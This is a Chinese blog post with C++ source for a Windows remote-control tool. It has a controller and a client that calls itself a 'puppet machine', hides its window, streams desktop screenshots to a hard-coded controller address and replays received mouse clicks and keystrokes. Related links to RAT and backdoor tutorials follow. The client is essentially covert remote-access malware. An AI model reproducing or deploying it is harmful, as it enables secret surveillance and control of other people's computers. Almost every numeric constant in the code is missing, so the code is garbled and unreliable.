实现内容(屏幕,鼠标,键盘实时控制)

控制端:

 #pragma once

 #ifndef keybd_H
#define keybd_H #include <stdio.h>
#include <stdlib.h> int KeyBD(int tch) {
if (tch > && tch < ) {
return tch;//A~Z大写
}
if (tch > && tch < ) {
return tch;//0~9数字
}
if (tch > && tch < ) {
return tch;//F1~F12
}
int mch = ;
switch (tch) {
case :
mch = ;//乘号
break;
case :
mch = ;//等号
break;
case :
mch = ;//减号
break;
case :
mch = ;//小数点
break;
case :
mch = ;//斜线
break;
case :
mch = ;//制表键
break;
case :
mch = ;//回车键
break;
case :
mch = ;//上档键shift
break;
case :
mch = ;//控制键Ctrl
break;
case :
mch = ;//换挡键Alt
break;
case :
mch = ;//大小写锁定
break;
case :
mch = ;//数字锁定
break;
case :
mch = ;//退格键
break;
case :
mch = ;//空格键
break;
case :
mch = ;//左方向键
break;
case :
mch = ;//上方向键
break;
case :
mch = ;//右方向键
break;
case :
mch = ;//下方向键
break;
case :
mch = ;//静音
break;
case :
mch = ;//退出键
break;
} return mch;
} #endif

keybd.h

 #include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#include <cstring>
#include <Windows.h>
#include <graphics.h>//展示图像
#include <conio.h>//_getch()
#include "keybd.h"//读取控制端按键转换为对应键码头文件 #pragma warning(disable:4996)
//忽略警告
#pragma comment(lib, "ws2_32.lib")
//加载ws2_32.dll #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
//预定义了一个KEYDOWN参数为vk_code 他的定义的含义是判断一个键是否被按下(GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0
//如果按下了就是1,没有按下就是0,然后其它地方用的时候直接用KEYDOWN(vk_code)判断这个键是否按下, 相反弹起来是1按下是0
#define BUFF_SIZE 1024
#define port 1026
//端口 int main()
{ WSADATA wsaData;
POINT p;
SOCKET serv, cInt_serv;
int nCount; char Path[MAX_PATH];
GetCurrentDirectory(MAX_PATH, Path);
//获取当前可执行文件路径
strcat(Path, "\\KiuKiuKiu.jpg");
//得到同可执行文件路径下的图片地址 if (WSAStartup(MAKEWORD(, ), &wsaData) != ) {
//初始化DLL
printf("WSAStartup() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//初始化套接字
if (serv == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} struct sockaddr_in serv_addr, cInt;
//创建结构体sockaddr_in的结构体变量
memset(&serv_addr, , sizeof(serv_addr));
//用0初始化每个字节
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//自动响应客户端IP
serv_addr.sin_family = AF_INET;
//使用IPv4
serv_addr.sin_port = htons(port);
//定义端口 if (bind(serv, (LPSOCKADDR)&serv_addr, sizeof(serv_addr)) == SOCKET_ERROR) {
//将套接字与IP,端口绑定
printf("bind() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (listen(serv, ) == SOCKET_ERROR) {
//套接字进入监听状态
printf("listen() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} printf("服务器监听开启。\n"); char buf_recv[BUFF_SIZE] = { };
//控制端接受成功消息缓存
char buf_str[BUFF_SIZE] = { };
//控制端接收屏幕缓存
int mLen = sizeof(SOCKADDR);
//接受缓存数据大小 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
//接受客户端消息
if (cInt_serv == INVALID_SOCKET) {
printf("accept() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (recv(cInt_serv, buf_recv, BUFF_SIZE, ) == SOCKET_ERROR) {
//接受控制端信息
printf("recv() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} printf("%s\n", buf_recv);
printf("IP地址:%s\t端口:%d\n", inet_ntoa(cInt.sin_addr), port);
Sleep(); closesocket(cInt_serv); do {
//int n = 0; cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
if (cInt_serv == INVALID_SOCKET) {
printf("accept() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} FILE *fp = fopen(Path, "wb");
//创建并打开路径指定文件(创建图片文件)
if (fp == NULL) {
printf("Open picture failed!\n");
exit();
system("PAUSE");
} for (; (nCount = recv(cInt_serv, buf_str, BUFF_SIZE, )) > ;) {
//接收客户端发送的缓存文件,也可以用while
fwrite(buf_str, sizeof(char), BUFF_SIZE, fp);
//将数据写入图片文件
Sleep();
//停顿时间,避免粘包或者丢包
//printf("recv!\n");
} fclose(fp);
closesocket(cInt_serv); char arr[] = { };
char brr[] = { };
char key[] = { }; initgraph(, );
// 绘图环境初始化
IMAGE img;
loadimage(&img, _T("KiuKiuKiu.jpg"));
//加载图片
putimage(, , &img); for (int i = ; i < ;) {
if (KEY_DOWN(MOUSE_MOVED)) {
//监测左键按下
key[] = ;
HWND hwnd = GetForegroundWindow();
//获取当前前台的窗口句柄
GetCursorPos(&p);
//获取当前鼠标位置(屏幕坐标)
ScreenToClient(hwnd, &p);
//将屏幕坐标转换为客户区坐标(当前程序窗口坐标)
ltoa(p.x, arr, );
ltoa(p.y, brr, );
//将长整型转换为字符型 // printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000); cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
//发送信息
memset(key, , );
memset(arr, , );
memset(brr, , );
//重置
closesocket(cInt_serv);
//断开连接,清除套接字
//n++;
break;
//跳出死循环
}
if (KEY_DOWN(MOUSE_EVENT)) {
//监测右键按下
key[] = ;
HWND hwnd = GetForegroundWindow();
GetCursorPos(&p);
ScreenToClient(hwnd, &p);
ltoa(p.x, arr, );
ltoa(p.y, brr, );
// printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000);
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
memset(key, , );
memset(arr, , );
memset(brr, , );
closesocket(cInt_serv);
//n++;
break;
}
if (KEY_DOWN(MOUSE_WHEELED)) {
key[] = ;
HWND hwnd = GetForegroundWindow();
GetCursorPos(&p);
ScreenToClient(hwnd, &p);
ltoa(p.x, arr, );
ltoa(p.y, brr, );
// printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000);
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
memset(key, , );
memset(arr, , );
memset(brr, , );
closesocket(cInt_serv);
//n++;
break;
}
}
#if 0
if (n == ) {
memset(key, , );
memset(arr, , );
memset(brr, , );
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
closesocket(cInt_serv);
}
Sleep();
#endif
int ch = ;
int m = ;
char dstr[] = { };
//存储键盘活动
if (_kbhit()) {
//检测是否有键盘操作
ch = _getch();
//获取点击键盘字符
dstr[] = KeyBD(ch);
//转换存储键盘操作数据
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, dstr, , );
memset(dstr, , );
closesocket(cInt_serv);
m++;
}
if (m == ) {
//当无键盘操作时,向客户端发送无效操作,避免接收到下一循环的数据。
memset(dstr, , );
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, dstr, , );
closesocket(cInt_serv);
}
Sleep();
} while ();
closesocket(serv);
//断开连接,清除套接字
WSACleanup();
//终止DLL使用 system("PAUSE");
return ;
}

控制端

被控端:

 #pragma once

 #ifndef ScreenShot_H
#define ScreenShot_H #include <graphics.h> //展示结果
#include <atlimage.h> //函数CImage
#include <Windows.h> //获取桌面的宽高函数 using namespace ATL; void SSBB() {
//桌面的宽和高
int Width, Height;
//获取桌面的宽高并赋值
Width = GetSystemMetrics(SM_CXSCREEN);
Height = GetSystemMetrics(SM_CYSCREEN);
//取得桌面DC,在这里DC是空
HDC habc1 = GetDC(NULL);
//定义一个和桌面大小的img对象
IMAGE img(Width, Height);
//把img图像给桌面DC
HDC hbac2 = GetImageHDC(&img);
//复制区域hbac2到habc1中,赋值给DC,使DC为桌面图
StretchBlt(hbac2, , , Width, Height, habc1, , , Width, Height, SRCCOPY);
HBITMAP hBC = (HBITMAP)::GetCurrentObject(hbac2, OBJ_BITMAP);
//将HBITMAP绑定到CImage对象
CImage img1;
img1.Attach(hBC); //保存为jpg
img1.Save(_T("BiuBiuBiu.jpg"));
//关闭图形系统
closegraph();
} #endif

ScreenShot

 #include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#include "ShotScreen.h"//屏幕截取 #pragma warning(disable:4996)
//警告忽略
#pragma comment(lib, "ws2_32.lib")
//加载ws2_32.dll #define port 1026
//端口
#define BUFF_SIZE 1024
//传递缓存数据数组大小 void ExecutiveCommand(int m, int n, char *array); int main()
{
WSADATA WSAData;
SOCKET client;
char str[] = "127.0.0.1";
//控制端IP
FILE *fp;
int nCount;
if (WSAStartup(MAKEWORD(, ), &WSAData) != ) {
//初始化DLL
printf("WSAStartup() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
//查错
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} struct sockaddr_in client_addr;
//创建sockaddr_in结构体变量
memset(&client_addr, , sizeof(client_addr));
//初始化,每个字节都使用0填充
client_addr.sin_addr.s_addr = inet_addr(str);
//具体IP地址
client_addr.sin_family = AF_INET;
//使用IPv4地址
client_addr.sin_port = htons(port);
//端口 bool f = false;
HWND hwnd = GetForegroundWindow();
//获取最前端的窗口的句柄
ShowWindow(hwnd, f);
//隐藏窗口 //char buf[BUFF_SIZE] = { 0 };
char arr[] = { };
char brr[] = { };
char key[] = { };
long x, y;
long mrr[] = { };
char dstr[] = { };
char mstr[BUFF_SIZE] = { };
//缓冲文件
char sendbuf[] = "傀儡机已上线。"; char Path[MAX_PATH];
GetCurrentDirectory(MAX_PATH, Path);
//获取当前软件路径
strcat(Path, "\\BiuBiuBiu.jpg");
//得到截图路径 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (send(client, sendbuf, , ) == SOCKET_ERROR) {
//发送数据
printf("send2() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} closesocket(client);
//关闭套接字 do {
client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} SSBB();
//对屏幕截图 if ((fp = fopen(Path, "rb")) == NULL) {
//打开指定文件
printf("Open picture failed!\n");
exit();
system("PAUSE");
} for (; (nCount = fread(mstr, sizeof(char), BUFF_SIZE, fp)) > ;) {
//使用循环获取文件数据,直到文件末尾
if (send(client, mstr, nCount, ) == SOCKET_ERROR) {
printf("send1() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
printf("PASS!\n");
} fclose(fp);
//关闭文件流指针
shutdown(client, SD_SEND);
//文件读取完毕,断开输出流
recv(client, mstr, BUFF_SIZE, );
//阻塞,等待控制端接受数据完毕
closesocket(client);
//断开连接,清除套接字 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接(鼠标数据)
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (recv(client, key, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
if (recv(client, arr, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
if (recv(client, brr, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
} x = atol(arr);
y = atol(brr); ExecutiveCommand(x, y, key);
//键盘模拟函数
memset(arr, , );
memset(brr, , );
memset(key, , );
//填充0到键盘缓存数组
closesocket(client);
//断开连接,清除套接字 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接(键盘数据)
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (recv(client, dstr, , ) == SOCKET_ERROR) {
//等待接受控制端键盘数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
keybd_event(dstr[], , , );
//按下对应键
keybd_event(dstr[], , KEYEVENTF_KEYUP, );
//抬起对应键
closesocket(client);
//断开连接,清除套接字
Sleep();
} while ();
WSACleanup();
//终止DLL使用
system("PAUSE");
return ;
} void ExecutiveCommand(int m, int n, char *array) {
if (array[] == ) {
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, , , , );
//模拟鼠标左键单击
}
if (array[] == ) {
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, , , , );
//模拟鼠标右键单击
} if (array[] == ) {
//printf("收到 3\n");
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, , , , );
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, , , , );
//模拟滑轮键单击
}
}

被控端

这里面因为涉及到VS2017没有的几个头文件,需要在控制端安装图形插件添加头文件。点击下载

下面找了一个按钮程序,稍加修改,可以添加到控制端主程序中。

 #include<cmath>
#include<ctime>
#include<cstdio>
#include<cstdlib>
#include<windows.h>
#include<algorithm>
using namespace std; #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
//不要问我这是什么 struct Button {//按钮类型
int x, y, color;//按钮位置和颜色
const char *name;//名字
int len;//名字的长度
}; void GetPos(POINT &pt) {//获得鼠标相对于屏幕的位置
//POINT是自带类型
HWND hwnd = GetForegroundWindow();
GetCursorPos(&pt);
ScreenToClient(hwnd, &pt);
pt.y = pt.y / , pt.x = pt.x / ;//除以16,想不明白自己把它去掉试试
} void color(int a) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), a); }
//修改颜色
//想知道每个颜色的代码就for循环1到256看看
void gto(int x, int y)//将打字的光标移到x行y列
{
COORD pos; pos.X = y * ; pos.Y = x;
//必须反过来
//y*2是因为汉字是2个字符
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
} Button NewButton(int x, int y, int color, const char *name) {
Button t;
t.x = x, t.y = y, t.name = name;
t.color = color;
t.len = strlen(name);
return t;//新建按钮,返回它
} bool Preserve(Button A) {
//维护一个按钮
//如果要使这个起作用必须在循环中不断执行它
gto(A.x, A.y), color(A.color), printf("%s", A.name);
POINT pt;
GetPos(pt);
if (pt.y == A.x && (pt.x >= A.y&&pt.x <= A.y + A.len / )) {
color(A.color + ), gto(A.x, A.y), printf("%s", A.name);
if (KEY_DOWN(MOUSE_MOVED)) return ;//检测到点击按钮
}
return ;//没有检测到
} int main() {
gto(, ), color();
printf("[没有一个作家会为一个流派写作]请点击开启远控,开始准备连接。\n");
Button A = NewButton(, , , "开启远控");
Button B = NewButton(, , , "退出");
while () {
if (Preserve(A)) {
gto(, );
color();
printf("远控已开启!!\n");
Sleep();
}
if (Preserve(B)) {
gto(, );
color();
printf("拜拜~\n");
Sleep();
break;
}
Sleep();//不写这个会很闪
}
}

按钮程序

颜色,触发事件什么的,自己有兴趣就去改就行。

控制端和被控端的注释基本很清楚了,如果有什么问题可以留言或者加我QQ问。

远控项目(Windows Socket)的更多相关文章

  1. python+msf 制作 windows远控

    最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...

  2. Python3实现ICMP远控后门(中)之“嗅探”黑科技

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...

  3. 利用kage把msf变成可视化远控平台

    项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...

  4. 通用异步 Windows Socket TCP 客户端组件的设计与实现

    编写 Windows Socket TCP 客户端其实并不困难,Windows 提供了6种 I/O 通信模型供大家选择.但本座看过很多客户端程序都把 Socket 通信和业务逻辑混在一起,剪不断理还乱 ...

  5. HackingTeam重磅炸弹: 估值超1000万美金带有军火交易性质的木马病毒以及远控源代码泄露

    [简单介绍] 经常使用网名: 猪头三 出生日期: 1981.XX.XX 个人站点: http://www.x86asm.com QQ交流: 643439947 编程生涯: 2001年~至今[共14年] ...

  6. 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控

    文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...

  7. 高性能 Windows Socket 组件 HP-Socket v3.0.2 正式发布

    HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...

  8. 高性能 Windows Socket 组件 HP-Socket v3.0.1 正式发布

    HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...

  9. 高性能 Windows Socket 组件 HP-Socket v2.3.1-beta-2 发布

    HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...

随机推荐

  1. 杂谈之界面设计和UI测试 (一)

    界面设计,是设计师的工作,UI测试,是测试人员的工作,UI测试究竟是测什么的?界面的排版布局?还是界面文字的书写错误?如果是排版布局,那么设计师该不会傻到设计一个看起来很不友好的界面,坐等测试人员发现 ...

  2. Lotus迁移到Exchange 2010 POC 之Domino Server的配置!

    1.      在桌面点击安装完成的Domino 服务器配置:

  3. MFC中按钮控件的用法笔记(转)

    VC学习笔记1:按钮的使能与禁止 用ClassWizard的Member Variables为按钮定义变量,如:m_Button1:则m_Button1.EnableWindow(true); 使按钮 ...

  4. python抓网页数据【ref:http://www.1point3acres.com/bbs/thread-83337-1-1.html】

    前言:数据科学越来越火了,网页是数据很大的一个来源.最近很多人问怎么抓网页数据,据我所知,常见的编程语言(C++,java,python)都可以实现抓网页数据,甚至很多统计\计算的语言(R,Matla ...

  5. java中介者模式

    中介者模式也是用来降低类类之间的耦合的,因为如果类类之间有依赖关系的话,不利于功能的拓展和维护,因为只要修改一个对象,其它关联的对象都得进行修改.如果使用中介者模式,只需关心和Mediator类的关系 ...

  6. 面试题:给定一个函数rand()能产生1到m之间的等概率随机数,产生1到n之间等概率的随机数?

    虽然TX的面试已经过去好几天了,然而惨痛的过程还历历在目.人生中第一次正式job面试就这么挂掉了.在于面试官的交流过程中,被问及了几个算法设计题,在今后几篇博文中,我一一总结与诸君分享. 1. 给定一 ...

  7. Verilog MIPS32 CPU(四)-- RAM

    Verilog MIPS32 CPU(一)-- PC寄存器 Verilog MIPS32 CPU(二)-- Regfiles Verilog MIPS32 CPU(三)-- ALU Verilog M ...

  8. UWP平台Taglib编译(1)

    此文已由作者郑博授权网易云社区发布. 欢迎访问网易云社区,了解更多网易技术产品运营经验 最近开始开发UWP平台的App,项目需要用到Taglib进行音视频文件的标签信息读写,Google并没有现成的B ...

  9. 小程序:如何让scroll-view包含内容完整滚动

    1.关于scroll-view scroll-view是小程序用来控制可滚动视图区域的组件. 通过设置scroll-x ="true" 或 scroll-y="true& ...

  10. elk日志分析平台安装

    ELK安装 前言 什么是ELK? 通俗来讲,ELK是由Elasticsearch.Logstash.Kibana 三个开源软件的组成的一个组合体,这三个软件当中,每个软件用于完成不同的功能,ELK 又 ...